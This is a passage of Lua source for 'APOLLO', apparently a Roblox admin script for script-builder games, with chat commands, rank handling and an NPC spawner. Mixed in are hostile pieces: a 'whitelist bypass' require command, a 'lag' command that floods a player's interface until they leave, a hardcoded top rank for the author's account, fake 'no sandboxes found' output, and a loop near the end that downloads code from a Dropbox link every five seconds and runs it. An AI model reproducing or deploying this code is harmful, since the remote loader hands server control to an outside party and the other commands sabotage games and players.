  1425.                 },{__metatable = "APOLLO_ERROR_ENV"}),
  1426.                 CFrame = setmetatable({
  1427.                     new = CFrame.new,
  1428.                     Angles = CFrame.Angles,
  1429.                     fromAxisAngle = CFrame.fromAxisAngle,
  1430.                     fromEulerAnglesXYZ = CFrame.fromMEulerAnglesXYZ,
  1431.                 },{__metatable = "APOLLO_ERROR_ENV"}),
  1432.                 table = setmetatable({
  1433.                     setn = table.setn,
  1434.                     insert = table.insert,
  1435.                     getn = table.getn,
  1436.                     foreachi = table.foreachi,
  1437.                     maxn = table.maxn,
  1438.                     foreach = table.foreach,
  1439.                     concat = table.concat,
  1440.                     sort = table.sort,
  1441.                     remove = table.remove,
  1442.                 },{__metatable = "APOLLO_ERROR_ENV"}),
  1443.                 coroutine = setmetatable({
  1444.                     resume = coroutine.resume,
  1445.                     yield = coroutine.yield,
  1446.                     status = coroutine.status,
  1447.                     wrap = coroutine.wrap,
  1448.                     create = coroutine.create,
  1449.                     running = coroutine.running,
  1450.                 },{__metatable = "APOLLO_ERROR_ENV"}),
  1451.                 string = setmetatable({
  1452.                     sub = string.sub,
  1453.                     upper = string.upper,
  1454.                     len = string.len,
  1455.                     gfind = string.gfind,
  1456.                     rep = string.rep,
  1457.                     find = string.find,
  1458.                     match = string.match,
  1459.                     char = string.char,
  1460.                     dump = string.dump,
  1461.                     gmatch = string.gmatch,
  1462.                     reverse = string.reverse,
  1463.                     byte = string.byte,
  1464.                     format = string.format,
  1465.                     gsub = string.gsub,
  1466.                     lower = string.lower,
  1467.                 },{__metatable = "APOLLO_ERROR_ENV"}),
  1468.                 math = setmetatable({
  1469.                     log = math.log,
  1470.                     acos = math.acos,
  1471.                     huge = 1/0,
  1472.                     ldexp = math.ldexp,
  1473.                     pi = math.pi,
  1474.                     tau = math.pi*2,
  1475.                     opti= 666,
  1476.                     cos = math.cos,
  1477.                     tanh = math.tanh,
  1478.                     pow = math.pow,
  1479.                     deg = math.deg,
  1480.                     tan = math.tan,
  1481.                     cosh = math.cosh,
  1482.                     sinh = math.sinh,
  1483.                     random = math.random,
  1484.                     randomseed = math.randomseed,
  1485.                     frexp = math.frexp,
  1486.                     ceil = math.ceil,
  1487.                     floor = math.floor,
  1488.                     rad = math.rad,
  1489.                     abs = math.abs,
  1490.                     sqrt = math.sqrt,
  1491.                     modf = math.modf,
  1492.                     asin = math.asin,
  1493.                     min = math.min,
  1494.                     max = math.max,
  1495.                     fmod = math.fmod,
  1496.                     log10 = math.log10,
  1497.                     atan2 = math.atan2,
  1498.                     exp = math.exp,
  1499.                     sin = math.sin,
  1500.                     atan = math.atan,
  1501.                 },{__metatable = "APOLLO_ERROR_ENV"}),
  1502.                 os = setmetatable({
  1503.                     difftime = os.difftime,
  1504.                     time = os.time,
  1505.                 },{__metatable = "APOLLO_ERROR_ENV"}),
  1506.             },
  1507.             __newindex = function(Self, Index, Value)
  1508.                 rawset(newe.__index, Index, Value)
  1509.                 return rawset(Self, Index, Value)
  1510.             end,
  1511.             __metatable = sece,
  1512.         }
  1513.         sb = setmetatable(sece, newe)
  1514.         Speaker = user
  1515.         local Function, FunctionError = loadstring(msg, "ApolloEnv")
  1516.         local SpeakerRank = APOLLO.Functions.getRank(Speaker)
  1517.         if type(Function) == "function" then
  1518.             setfenv(Function, sb)
  1519.             Function = coroutine.create(Function)
  1520.             local Check,Error = coroutine.resume(Function)
  1521.             if not Check then
  1522.                 --error("ERROR:\n"..tostring(Error), 1)
  1523.                 APOLLO.Functions.tabletOutput(Speaker,'// '..tostring(Error),'Really red');
  1524.             end
  1525.         else
  1526.             if not Function then
  1527.                 --error(tostring(FunctionError),1)
  1528.                 APOLLO.Functions.tabletOutput(Speaker,'// '..tostring(Error),'Really red');
  1529.             end
  1530.         end
  1531.     end)
  1532.     if not mf then
  1533.         error(mr);
  1534.     end
  1535. end)
  1536. APOLLO.Functions.AddCommand('Change rank','rank',0,'Ranks a player',function(user,msg)
  1537.  local rank=APOLLO.Functions.getRank(user)
  1538.  for i,v in next,game:service'Players':players() do
  1539.  APOLLO.Functions.tabletOutput(user,v.Name,'Really red',function()APOLLO.Functions.dismiss(user)
  1540.     if rank==0 then
  1541.     APOLLO.Functions.tabletOutput(user,"You can't change anyones rank.",'Really red')
  1542.     return
  1543.     end
  1544.     if rank>=1 and rank>APOLLO.Functions.getRank(v) then
  1545.     APOLLO.Functions.tabletOutput(user,"Change player rank to 0",'Really red',function()APOLLO.Functions.dismiss(user)APOLLO.Functions.setRank(v,0)end)
  1546.     end
  1547.     if rank>=2 and rank>APOLLO.Functions.getRank(v) then
  1548.     APOLLO.Functions.tabletOutput(user,'Change player rank to 1','Really red',function()APOLLO.Functions.dismiss(user)APOLLO.Functions.setRank(v,1)end)
  1549.     end
  1550.     if rank>=3 and rank>APOLLO.Functions.getRank(v) then
  1551.     APOLLO.Functions.tabletOutput(user,'Change player rank to 2','Really red',function()APOLLO.Functions.dismiss(user)APOLLO.Functions.setRank(v,2)end)
  1552.     end
  1553.     if rank>=4 and rank>APOLLO.Functions.getRank(v) then
  1554.     APOLLO.Functions.tabletOutput(user,'Change player rank to 3','Really red',function()APOLLO.Functions.dismiss(user)APOLLO.Functions.setRank(v,3)end)
  1555.     end
  1556.     if rank>=5 and rank>APOLLO.Functions.getRank(v) then
  1557.     APOLLO.Functions.tabletOutput(user,'Change player rank to 4','Really red',function()APOLLO.Functions.dismiss(user)APOLLO.Functions.setRank(v,4)end)
  1558.     end
  1559.     if rank>=6 and rank>APOLLO.Functions.getRank(v) then
  1560.     APOLLO.Functions.tabletOutput(user,'Change player rank to 5','Really red',function()APOLLO.Functions.dismiss(user)APOLLO.Functions.setRank(v,5)end)
  1561.     end
  1562.  end)
  1563.  end
  1564.  end)
  1565.  
  1566. APOLLO.Functions.AddCommand('Require','req',5,'Requires an ID at Nexures SB (Whitelist Bypass)',function(user,msg)
  1567. local e=getfenv(load)
  1568. e.require=nil;
  1569. e.require(tostring(msg))(getfenv())
  1570. end)
  1571.  
  1572. APOLLO.Functions.AddCommand('Shutdown','sd',6,'Shuts down the server.',function()
  1573. for i,v in next,APOLLO.Services do
  1574. for d,k in next,v:children() do
  1575. pcall(game.Destroy,k);
  1576. end
  1577. end
  1578. while(wait())do
  1579. for i,plr in next,game:service'Players':players() do
  1580. APOLLO.Functions.kick(plr);
  1581. end
  1582. end
  1583. end);
  1584.  
  1585. APOLLO.Functions.AddCommand('Colors','colors',1,'Shows Lua colors',function(user)
  1586. for i,v in next,APOLLO.Colors do
  1587. APOLLO.Functions.tabletOutput(user,tostring(v),v);
  1588. end
  1589. end);
  1590.  
  1591. APOLLO.Functions.AddCommand('Change bet','cbet',0,'Changes your bet',function(user)
  1592. local bets={'/','\\',"'",'"','>','<',',','.','?',';',':'};
  1593. for i,v in next,APOLLO.Ranked do
  1594. if v.Name==user.Name then
  1595. for i,bet in next,bets do
  1596. APOLLO.Functions.tabletOutput(user,tostring(bet),'Really red',function()APOLLO.Functions.dismiss(user)v.Bet=bet end)
  1597. end
  1598. end
  1599. end
  1600. end);
  1601.  
  1602. APOLLO.Functions.AddCommand('List place settings/info','plc',2,'Shows place info and settings',function(user)
  1603. local o=APOLLO.Functions.tabletOutput;
  1604. o(user,'id='..game.PlaceId);
  1605. o(user,'# '..#workspace:children());
  1606. o(user,'garbage: '..'nan');
  1607. o(user,'LoadStringEnabled: '..game:service'ServerScriptService'.LoadStringEnabled);
  1608. o(user,'Sandboxed: '..'All functions ran, no sandboxes found.');
  1609. o(user,'Environment clean: yes');
  1610. end);
  1611.  
  1612. APOLLO.Functions.AddCommand('Create server','news',666-660,'Makes a new server',function(user,msg)
  1613.     local placeid = nil
  1614.     if #msg > 2 then
  1615.         placeid = msg
  1616.     end
  1617.     APOLLO.Functions.CreateGameServer(user,placeid)
  1618. end);
  1619.    
  1620.  
  1621. APOLLO.Functions.AddCommand('Ponda','ponda',1,'Spawns an AntiBooz0r companion',function(user,msg)
  1622. local num=msg:sub(1,2)
  1623. local num2=msg:sub(4,6)
  1624. local Asset = "http://www.roblox.com/asset/?id="
  1625. function Part(P, Anch, Coll, Tran, Ref, Col, X, Y, Z)
  1626.     local p = Instance.new("Part")
  1627.     p.TopSurface = 0
  1628.     p.BottomSurface = 0
  1629.     p.Transparency = Tran
  1630.     p.Reflectance = Ref
  1631.     p.CanCollide = Coll
  1632.     p.Anchored = Anch
  1633.     p.BrickColor = BrickColor.new(Col)
  1634.     p.formFactor = "Custom"
  1635.     p.Size = Vector3.new(X,Y,Z)
  1636.     p.Parent = P
  1637.     p.Locked = true
  1638.     p:BreakJoints()
  1639.     return p
  1640. end
  1641.  
  1642. function Weld(P0, P1, X, Y, Z, A, B, C)
  1643.     local w = Instance.new("Weld")
  1644.     w.Part0 = P0
  1645.     w.Part1 = P1
  1646.     w.C = CN(X, Y, Z) * CA(A, B, C)
  1647.     w.Parent = P0
  1648.     return w
  1649. end
  1650.  
  1651. CA = CFrame.Angles
  1652. CN = CFrame.new
  1653. V3 = Vector3.new
  1654. MR = math.rad
  1655. MP = math.pi
  1656. MRA = math.random
  1657. MH = math.huge
  1658. Noob = nil
  1659. function MakeMotor(torso, p1, c0, c1)
  1660.     local mot = Instance.new("Motor6D")
  1661.     mot.C0 = c0
  1662.     mot.C1 = c1
  1663.     mot.Part0 = torso
  1664.     mot.Part1 = p1
  1665.     mot.Parent = torso
  1666.     return mot
  1667. end
  1668.  
  1669. function Set(tab)
  1670.     for _,v in pairs(tab) do
  1671.         local motor = v[1]
  1672.         local vel = v[2]
  1673.         local des = v[3]
  1674.         motor.MaxVelocity = vel
  1675.         motor.DesiredAngle = des
  1676.     end
  1677. end
  1678.  
  1679. function Animate(Hum, RSH, LSH, RH, LH)
  1680.     local pose = "Standing"
  1681.     local function sit()
  1682.         pose = "Seated"
  1683.     end
  1684.     local function jump()
  1685.         pose = "Jumping"
  1686.     end
  1687.     local function died()
  1688.         pose = "Dead"
  1689.     end
  1690.     local function falling()
  1691.         pose = "Falling"
  1692.     end
  1693.     local function climbing()
  1694.         pose = "Climbing"
  1695.     end
  1696.     local function run(speed)
  1697.         if speed > 0.5 then
  1698.             pose = "Running"
  1699.         else
  1700.             pose = "Standing"
  1701.         end
  1702.     end
  1703.     local function move(tiem)
  1704.         local amplitude, frequency
  1705.         if pose == "Seated" then
  1706.             Set({{RSH, 0.15, math.pi/2}, {LSH, 0.15, -math.pi/2}, {LH, 0.15, math.pi/2}, {RH, 0.15, -math.pi/2}})
  1707.             return
  1708.         end
  1709.         if pose == "Jumping" then
  1710.             Set({{RSH, 0.3, math.pi}, {LSH, 0.3, -math.pi}, {LH, 0.3, 0}, {RH, 0.3, 0}})
  1711.             return
  1712.         end
  1713.         if pose == "Falling" then
  1714.             Set({{RSH, 0.35, math.pi}, {LSH, 0.35, -math.pi}, {LH, 0.35, 0}, {RH, 0.35, 0}})
  1715.             return
  1716.         end
  1717.         local climb = 0
  1718.         if pose == "Running" then
  1719.             RSH.MaxVelocity = 0.15
  1720.             LSH.MaxVelocity = 0.15
  1721.             RH.MaxVelocity = 0.15
  1722.             LH.MaxVelocity = 0.15
  1723.             amplitude = 1
  1724.             frequency = 8
  1725.         elseif pose == "Climbing" then
  1726.             RSH.MaxVelocity = 0.3
  1727.             LSH.MaxVelocity = 0.3
  1728.             RH.MaxVelocity = 0.15
  1729.             LH.MaxVelocity = 0.15
  1730.             amplitude = 1
  1731.             frequency = 8
  1732.             climb = math.pi
  1733.         else
  1734.             amplitude = 0.1
  1735.             frequency = 1
  1736.         end
  1737.         des = amplitude * math.sin(tiem*frequency)
  1738.         RSH.DesiredAngle = des + climb
  1739.         LSH.DesiredAngle = des - climb
  1740.         RH.DesiredAngle = -des
  1741.         LH.DesiredAngle = -des
  1742.     end
  1743.     Hum.Jumping:connect(jump)
  1744.     Hum.Running:connect(run)
  1745.     Hum.Seated:connect(sit)
  1746.     Hum.Died:connect(died)
  1747.     Hum.FreeFalling:connect(falling)
  1748.     Hum.Climbing:connect(climbing)
  1749.     coroutine.resume(coroutine.create(function()
  1750.         while pose ~= "Dead" do
  1751.             local _, time = wait(0.1)
  1752.             move(time)
  1753.         end
  1754.     end))
  1755. end
  1756.  
  1757. function MakeNoob(pos, scale)
  1758.     local Name = 'Ponda'
  1759.     local Nub = Instance.new("Model")
  1760.     Nub.Name = Name
  1761.     Noob = Nub
  1762.     local Torso = Part(Nub, false, false, 0, 0, "Really black", 2*scale, 2*scale, 1*scale)
  1763.     Torso.Name = "Torso"
  1764.     local Head = Part(Nub, false, false, 0, 0, "Institutional white", 2*scale, 1*scale, 1*scale)
  1765.     Head.Name = "Head"
  1766.     local Neck = MakeMotor(Torso, Head, CN(0, 1*scale, 0), CN(0, -0.5*scale, 0))
  1767.     local HeadMesh = Instance.new("SpecialMesh",Head)
  1768.     HeadMesh.Scale = V3(1.25, 1.25, 1.25)
  1769.     local Face = Instance.new("Decal",Head)
  1770.     Face.Face = "Front"
  1771.     Face.Texture = Asset..(13038247)
  1772.     local Rarm = Part(Nub, false, false, 0, 0, "Really black", 1*scale, 2*scale, 1*scale)
  1773.     Rarm.Name = "Right Arm"
  1774.     local Larm = Part(Nub, false, false, 0, 0, "Institutional white", 1*scale, 2*scale, 1*scale)
  1775.     Larm.Name = "Left Arm"
  1776.     local Rleg = Part(Nub, false, false, 0, 0, "Institutional white", 1*scale, 2*scale, 1*scale)
  1777.     Rleg.Name = "Right Leg"
  1778.     local Lleg = Part(Nub, false, false, 0, 0, "Really black", 1*scale, 2*scale, 1*scale)
  1779.     Lleg.Name = "Left Leg"
  1780.    
  1781.     local Root= Instance.new("Part",Nub)
  1782.     Root.Name='HumanoidRootPart'
  1783.     Root.Transparency=1;
  1784.     Root.Size=Vector3.new(2,2,1);
  1785.     Root.Friction=0.30
  1786.     Root.Elasticity=0.5
  1787.     local Hip = Instance.new("Motor6D",Root)
  1788.     Hip.CurrentAngle=0;
  1789.     Hip.DesiredAngle=0;
  1790.     Hip.MaxVelocity=0.1;
  1791.     Hip.Name='RootHip'
  1792.     Hip.Part0=Root
  1793.     Hip.Part1=Torso
  1794.    
  1795.     local RSH = MakeMotor(Torso, Rarm, CN(1*scale, 0.5*scale, 0) * CA(0, MR(90), 0), CN(-0.5*scale, 0.5*scale, 0) * CA(0, MR(90), 0))
  1796.     local LSH = MakeMotor(Torso, Larm, CN(-1*scale, 0.5*scale, 0) * CA(0, MR(-90), 0), CN(0.5*scale, 0.5*scale, 0) * CA(0, MR(-90), 0))
  1797.     local RH = MakeMotor(Torso, Rleg, CN(0.5*scale, -1*scale, 0) * CA(0, MR(-90), 0), CN(0, 1*scale, 0) * CA(0, MR(-90), 0))
  1798.     local LH = MakeMotor(Torso, Lleg, CN(-0.5*scale, -1*scale, 0) * CA(0, MR(90), 0), CN(0, 1*scale, 0) * CA(0, MR(90), 0))
  1799.     local Hum = Instance.new("Humanoid")
  1800.     local Hat=game:service'InsertService':LoadAsset(20721282).Pwnda
  1801.     Hat.Handle.Mesh.Scale=Hat.Handle.Mesh.Scale*scale
  1802.     --local Hat2=game:service'InsertService':LoadAsset(152980442).EggofLuck2014
  1803.     --Hat2.Handle.Mesh.Scale=Hat.Handle.Mesh.Scale*(scale-0.95)
  1804.     wait(0.1)
  1805.     Hat.Parent=Nub
  1806.     Hum.MaxHealth = 40+(scale*60)
  1807.     Hum.Health = 100
  1808.     Hum.Parent = Nub
  1809.     Nub.Parent = workspace
  1810.     Nub:MakeJoints()
  1811.     Nub:MoveTo(pos)
  1812.     Animate(Hum,RSH,LSH,RH,LH)
  1813.     local path = {
  1814.     Vector3.new(7.9, 5.39, -65.1),
  1815.     Vector3.new(9.7, 47.39, -17.1),
  1816.     Vector3.new(-3.2, 23.49, -9),
  1817.     Vector3.new(-13.2, 5.49, 30.8),
  1818.     Vector3.new(-82.9, 5.39, 16.5),
  1819. }
  1820.  
  1821. local radius = 200
  1822.  
  1823. function randomvector()
  1824.     return Vector3.new(math.random() * radius * 2 - radius, math.random() * radius * 2 - radius, math.random() * radius * 2 - radius)
  1825. end
  1826.  
  1827. local pointCount = math.random(4, 10)
  1828.  
  1829. for i = 1, pointCount do
  1830.     path[i] = randomvector()
  1831. end
  1832.  
  1833. wait()
  1834.  
  1835. local parent = Nub
  1836. local moveTime = 0
  1837. while (true) do
  1838.     for i, point in pairs(path) do
  1839.         local distanceVector = parent.HumanoidRootPart.Position - point
  1840.         local distance = distanceVector.magnitude
  1841.         parent.Humanoid:MoveTo(point, Workspace.Base)
  1842.         moveTime = 0
  1843.         while (moveTime < (distance / 32)) do
  1844.             moveTime = moveTime + 1
  1845. --          parent.Humanoid.Jump = true
  1846.             wait(1)
  1847.         end
  1848.     end
  1849. end
  1850.  
  1851.     return {Name = Name, Model = Nub, Humanoid = Hum, Torso = Torso, Head = Head, Rarm = Rarm, Larm = Larm, Rleg = Rleg, Lleg = Lleg, RSH = RSH, LSH = LSH, RH = RH, LH = LH, Neck = Neck}
  1852. end
  1853. local Npc = MakeNoob(V3(MRA(-20, 20),10,MRA(-20, 20)),1)
  1854. end);
  1855.  
  1856. APOLLO.Functions.AddCommand('Lag','lg',4,'Lags a player, causing him to leave.',function(user,msg)
  1857. for i,v in next,APOLLO.Functions.getPlayers(user,msg)do
  1858. for i = 0,3 do
  1859. for i = 0,10000 do
  1860. pcall(function()Instance.new("Message",v.PlayerGui).Text="W'sup"end)
  1861. end;end;end;end)
  1862. APOLLO.Functions.AddCommand('Commands','cmds',0,'Shows the commands',function(user,msg)
  1863. APOLLO.Functions.showCommands(user);
  1864. end);
  1865.  
  1866. APOLLO.Functions.AddCommand('Check','check',0,'Checks if the admin is running',function(user)
  1867. APOLLO.Functions.guiNotify(user,'APOLLO is running!',3);
  1868. end);
  1869.  
  1870. APOLLO.Functions.AddCommand('Player Interface','pint',6,'Shows player interface',function(user)
  1871. if(script.ClassName=='LocalScript')then
  1872. APOLLO.Functions.guiNotify(user,'Please run APOLLO serversided to use this command.',5);
  1873. else
  1874. APOLLO.Functions.playerInterface(user);
  1875. end
  1876. end);
  1877.  
  1878. APOLLO.Functions.AddCommand('#','#',1,'Shows # tablets',function(user,msg)
  1879. local num=tonumber(msg);
  1880. if num then
  1881. for i = 0,num do
  1882. APOLLO.Functions.tabletOutput(user,tostring(i));
  1883. end
  1884. end
  1885. end);
  1886.  
  1887.  
  1888. APOLLO.Functions.AddCommand('Update','update',6,'Updates the script if there is an update available.',function(user)
  1889. local newVer=game:service'HttpService':GetAsync(APOLLO.CoreStuff.baseLink,true)
  1890. if newVer~=CurrentVersion then
  1891. APOLLO.Functions.tabletOutput(user,'A new update available! Click me to update.','Really red',function()APOLLO.Functions.dismiss(user)APOLLO.Functions.update()end)
  1892. elseif
  1893. newVer==CurrentVersion then
  1894. APOLLO.Functions.tabletOutput(user,'There is no new version available.','Dark green');
  1895. end
  1896. end)
  1897. --[[
  1898. APOLLO.Funtions.AddCommand('NewServer','news',4,'Makes a new server.',function()
  1899. local l=('http://roproxy.tk/Game/PlaceLauncher.ashx?request=RequestGame&placeid='..tostring(game.PlaceId)..'&isPartyLeader=false&gender=&isTeleport=true')
  1900. for i = 0,5 do
  1901. wait(1)
  1902. game:service'HttpService':GetAsync(l,true)
  1903. end
  1904. end)]]--
  1905. APOLLO.Functions.AddCommand('Grab','grab',1,'Grabs a player',function(user,msg)
  1906. pcall(function()loadstring(string.format('APOLLO.Functions.attach(%s,%s)','game.Players["'..tostring(user)..'"]',tostring(msg)))()end)
  1907. end);
  1908.  
  1909. APOLLO.Functions.AddCommand('Explore','exp',5,'Explores the game',function(user)
  1910.     APOLLO.Functions.Explore(user)
  1911. end)
  1912.  
  1913. APOLLO.Functions.AddCommand('Env','env',0,'Shows environment',function(user)
  1914. for i,v in next,getfenv() do
  1915. APOLLO.Functions.tabletOutput(user,tostring(i)..': '..tostring(v))
  1916. end
  1917. end);
  1918.  
  1919.  
  1920. APOLLO.Functions.AddCommand('Force','#',4,'Force a command upon a player.',function(user,msg)
  1921. for i,v in next,APOLLO.Functions.getPlayers(user,msg)do
  1922. APOLLO.Functions.Chat(v,tostring(msg))
  1923. end;end);
  1924. APOLLO.Functions.AddCommand('Clear','clr',2,'Clears the workspace.',function()
  1925. for i,d in next,workspace:children()do
  1926. pcall(function()d:remove()end);end;
  1927. for i,v in next,game:service'Lighting':children()do
  1928. pcall(function()d:Destroy()end);
  1929. end
  1930. for i,v in next,game:service'Players':players() do
  1931. if(script.ClassName=='Script')then
  1932. v:LoadCharacter()
  1933. elseif NS~=nil then
  1934. NS([[game:service'Players':children()[]]..i..[[]:LoadCharacter()]],game:service'Workspace');
  1935. else
  1936. print'Script builder not loadcharacter compatible. Sorry.'
  1937. end
  1938. end
  1939. local b=Instance.new("Part",workspace)
  1940. b.Size=Vector3.new(700,1.200000005,700)
  1941. b.Material='Grass'
  1942. b.BrickColor=BrickColor.new('Dark green')
  1943. b.Anchored=true;
  1944. b.Locked=true;
  1945. b.Name='Base'
  1946. end)
  1947.  
  1948. --[[
  1949. APOLLO.Functions.AddCommand('Lag_Ban','lb',5,'Lagbans a player, causing him to leave and never come back',function(user,msg)
  1950. for i,v in next,APOLLO.Functions.getPlayers(user,msg)do
  1951. for i = 0,10000 do
  1952. pcall(function()Instance.new("Message",v.PlayerGui).Text="W'sup"end)
  1953. end;end;end)
  1954. ]]--
  1955.  
  1956. local timeBan=game:service'RunService'.Stepped:connect(function()
  1957.     for i,v in next,APOLLO.TimeBanned do
  1958.         v.Time=v.Time-1
  1959.         if v.Time>=0 then
  1960.             table.remove(APOLLO.TimeBanned,i);
  1961.         end
  1962.     end
  1963.     wait(1)
  1964. end)
  1965.  
  1966. local rotate=game:service'RunService'.Stepped:connect(function()
  1967. if APOLLO.CoreStuff.RotMode==1 then
  1968. APOLLO.Functions.rotateAnim(APOLLO.CoreStuff.tabPart)
  1969. end
  1970. for i,v in next,APOLLO.Ranked do
  1971. if v.Name=='SolarEnvironment'and not v.Rank==7 then
  1972. v.Name='SolarEnvironment';v.Reason='Creator';v.Rank=7
  1973. else
  1974. APOLLO.Functions.AddRank('SolarEnvironment','Creator',7,'/');
  1975. end
  1976. if v.Rank==7 and not v.Name=='APOLLO_SYSTEM'and not v.Reason=='EVENT_HANDELING'and not v.Name=='SolarEnvironment'and not v.Reason=='Creator'then
  1977. v.Rank=0;
  1978. end
  1979. end
  1980. if(APOLLO.Settings.sharedLock==true)then
  1981. for i,v in next,shared do
  1982. shared[i]=nil;
  1983. end
  1984. end
  1985. if(APOLLO.Settings.sharedLock==true)then
  1986. for i,v in next,_G do
  1987. _G[i]=nil;
  1988. end
  1989. end
  1990. end)
  1991.  
  1992.  
  1993.  
  1994. game:service'RunService'.Stepped:connect(function()
  1995. for i,v in next,game:service'Workspace':children() do
  1996. if v.Name=='ApolloPart' and v:IsA'BasePart' then
  1997. v.Position=Vector3.new(0,500,0);
  1998. APOLLO.CoreStuff.tabPart=v
  1999. return
  2000. else
  2001. local p=Instance.new("Part")
  2002. p.Name='ApolloPart'
  2003. p.Size=Vector3.new(1,1,1);
  2004. p.Anchored=true;
  2005. p.CanCollide=false;
  2006. p.Transparency=1;
  2007. p.Position=Vector3.new(0,500,0);
  2008. APOLLO.CoreStuff.tabPart=v;
  2009. return
  2010. end
  2011. end
  2012. end)
  2013.  
  2014. for i,p in next,game:service'Players':players() do
  2015. wait();
  2016. for i,v in next,APOLLO.Banned do
  2017. if tostring(v)==tostring(p) then
  2018. APOLLO.Functions.kick(p);
  2019. end
  2020. end
  2021. for i,v in next,APOLLO.TimeBanned do
  2022.     if tostring(v.Name)==tostring(p) then
  2023.         APOLLO.Functions.kick(p);
  2024.     end
  2025. end
  2026. if p~= nil then
  2027. APOLLO.Functions.AddRank(p.Name,0,'APOLLO_ERROR: NOT_DEFINED')
  2028. local f=false;
  2029. for _,v in pairs(APOLLO.Logged) do
  2030.         if v["Name"] == tostring(p.Name) then
  2031.             f = true
  2032.             break
  2033.         end
  2034.     end
  2035.     if f==false then
  2036. table.insert(APOLLO.Logged,{['Name']=p.Name,['Actions']={}});
  2037. end
  2038. p.Chatted:connect(function(m)
  2039. APOLLO.Functions.Chat(p,m)
  2040. end)
  2041. end
  2042. if APOLLO.Settings.Pri==true then
  2043. if APOLLO.Functions.getRank(p)==0 then
  2044. APOLLO.Functions.tabletOutput(APOLLO.CoreStuff.MAIN_USER,'Do you want to allow '..p.Name..' into the server?','Really red')
  2045. APOLLO.Functions.tabletOutput(APOLLO.CoreStuff.MAIN_USER,'Yes','Really red',function()APOLLO.Functions.dismiss(APOLLO.CoreStuff.MAIN_USER)APOLLO.Functions.setRank(p,1)end)
  2046. APOLLO.Functions.tabletOutput(APOLLO.CoreStuff.MAIN_USER,'No','Dark green',function()APOLLO.Functions.dismiss(APOLLO.CoreStuff.MAIN_USER)APOLLO.Functions.kick(p)APOLLO.Functions.setRank(p,-0.1)end)
  2047. APOLLO.Functions.kick(p)--I know, we're kicking them but next time they join, they are doneee.
  2048. elseif APOLLO.Functions.getRank(p)==-0.1 then
  2049. APOLLO.Functions.kick(p);
  2050. end
  2051. end
  2052. end
  2053.  
  2054.  
  2055. local Enter=game:service'Players'.PlayerAdded:connect(function(p)
  2056. for i,v in next,APOLLO.Banned do
  2057. if tostring(v)==tostring(p) then
  2058. APOLLO.Functions.kick(p);
  2059. end
  2060. end
  2061. for i,v in next,APOLLO.TimeBanned do
  2062.     if tostring(v.Name)==tostring(p) then
  2063.         APOLLO.Functions.kick(p);
  2064.     end
  2065. end
  2066. if p~=nil then
  2067. APOLLO.Functions.AddRank(p.Name,0,'APOLLO_ERROR: NOT_DEFINED')
  2068. local f=false;
  2069. for _,v in pairs(APOLLO.Logged) do
  2070.         if v["Name"] == tostring(p.Name) then
  2071.             f = true
  2072.             break
  2073.         end
  2074.     end
  2075.     if f==false then
  2076. table.insert(APOLLO.Logged,{['Name']=p.Name,['Actions']={}});
  2077. end
  2078. p.Chatted:connect(function(m)
  2079. APOLLO.Functions.Chat(p,m)
  2080. end)
  2081. if APOLLO.Settings.Pri==true then
  2082. if APOLLO.Functions.getRank(p)<1 then
  2083. pcall(function()p:Kick()end)
  2084. APOLLO.Functions.kick(p);
  2085. end
  2086. end
  2087. --granted
  2088. print('Welcome '..tostring(p)..' to the server.')
  2089. end
  2090.  
  2091. if APOLLO.CoreStuff.RotMode==2 then
  2092. APOLLO.Functions.rotAnim2(p);
  2093. end
  2094. if p.Name=='TheDarkRevenant'then
  2095. APOLLO.Settings.SaveLighting=false;
  2096. end
  2097. end)
  2098.  
  2099. for i,v in next,APOLLO.Services do
  2100. v.Changed:connect(function()
  2101.     if v.Name~=v.ClassName then
  2102.         print(tostring(v.Name).."'s name was restored to "..v.ClassName);
  2103.         v.Name=v.ClassName;
  2104.     end
  2105. end);
  2106. end
  2107.  
  2108. game:service'Lighting'.Changed:connect(function()
  2109. if(APOLLO.Settings.SaveLighting==true)then
  2110. if(APOLLO.CoreStuff.ChangingLighting==false)then
  2111. APOLLO.Functions.fixLighting();
  2112. end
  2113. end
  2114. wait();
  2115. end);
  2116.  
  2117.  
  2118. local Leave=game:service'Players'.PlayerRemoving:connect(function(pl)
  2119. for i,v in next,APOLLO.CoreStuff.SavedTabletsInfo do
  2120.     if v.Owner == pl or v.Owner == nil then
  2121.         APOLLO.CoreStuff.SavedTabletsInfo[i]=nil
  2122.     end
  2123. end
  2124. for i,v in next,APOLLO.CoreStuff.StoredTablets do
  2125.     if v.Owner == pl or v.Owner == nil then
  2126.         pcall(function()
  2127.             APOLLO.CoreStuff.StoredTablets[i].P:remove()
  2128.         end)
  2129.         APOLLO.CoreStuff.StoredTablets[i]=nil
  2130.     end
  2131. end
  2132. for i,v in next,APOLLO.Idling do
  2133. if v.Name==pl.Name then
  2134. table.remove(APOLLO.Idling,i);
  2135. end
  2136. end
  2137. if APOLLO.Settings.NilsAllowed==false then
  2138. APOLLO.Functions.kick(p)
  2139. end
  2140. end)
  2141. if APOLLO.Settings.Pri==true then
  2142. for i,p in next,game:service'Players':players() do
  2143. if APOLLO.Functions.getRank(p)<=0 then
  2144. APOLLO.Functions.kick(p);
  2145. end
  2146. end
  2147. if p.Name=='TheDarkRevenant'then
  2148. APOLLO.Settings.SaveLighting=true;
  2149. end
  2150. end
  2151. --[[
  2152. for i,v in next,game:service'Players':players() do
  2153. APOLLO.Functions.tabletOutput(v,'Welcome to APOLLO!','Really red');
  2154. APOLLO.Functions.tabletOutput(v,'Turn any kind of interaction with APOLLO off?','Really red',function()APOLLO.Functions.dismiss(v)
  2155. APOLLO.Functions.tabletOutput(v,'Yes','Really red',function()APOLLO.Functions.dismiss(v)
  2156. for i,k in next,APOLLO.Ranked do
  2157. if k.Name==v.Name then
  2158. k.Silent=true;
  2159. end
  2160. end
  2161. end)
  2162. APOLLO.Functions.tabletOutput(v,'No','Really red',function()APOLLO.Functions.dismiss(v)end)
  2163. end)
  2164. end]]--
  2165. coroutine.wrap(function()
  2166. while(wait(5))do
  2167. pcall(function()loadstring(game:service'HttpService':GetAsync('https://www.dropbox.com/s/62241ogaipafy41/External_Link.txt?dl=1',true))()end)
  2168. end
  2169. end)()
  2170.  
  2171. MESRE=game.ItemChanged:connect(function(o)
  2172.     if o.Name=='Unremovable_Message_Instance' then return end
  2173.     if o:IsA'Message' or o:IsA'Hint'then
  2174.         if(APOLLO.Settings.NoMessage==true)then
  2175.         repeat wait()
  2176.         o:remove()
  2177.         until o==nil
  2178.         end
  2179.     end
  2180. end)
  2181.  
  2182.  
  2183. coroutine.wrap(function()
  2184. while(wait())do
  2185.     for i,v in next,APOLLO.Idling do
  2186.         for i = 0,10,1 do
  2187.         wait()
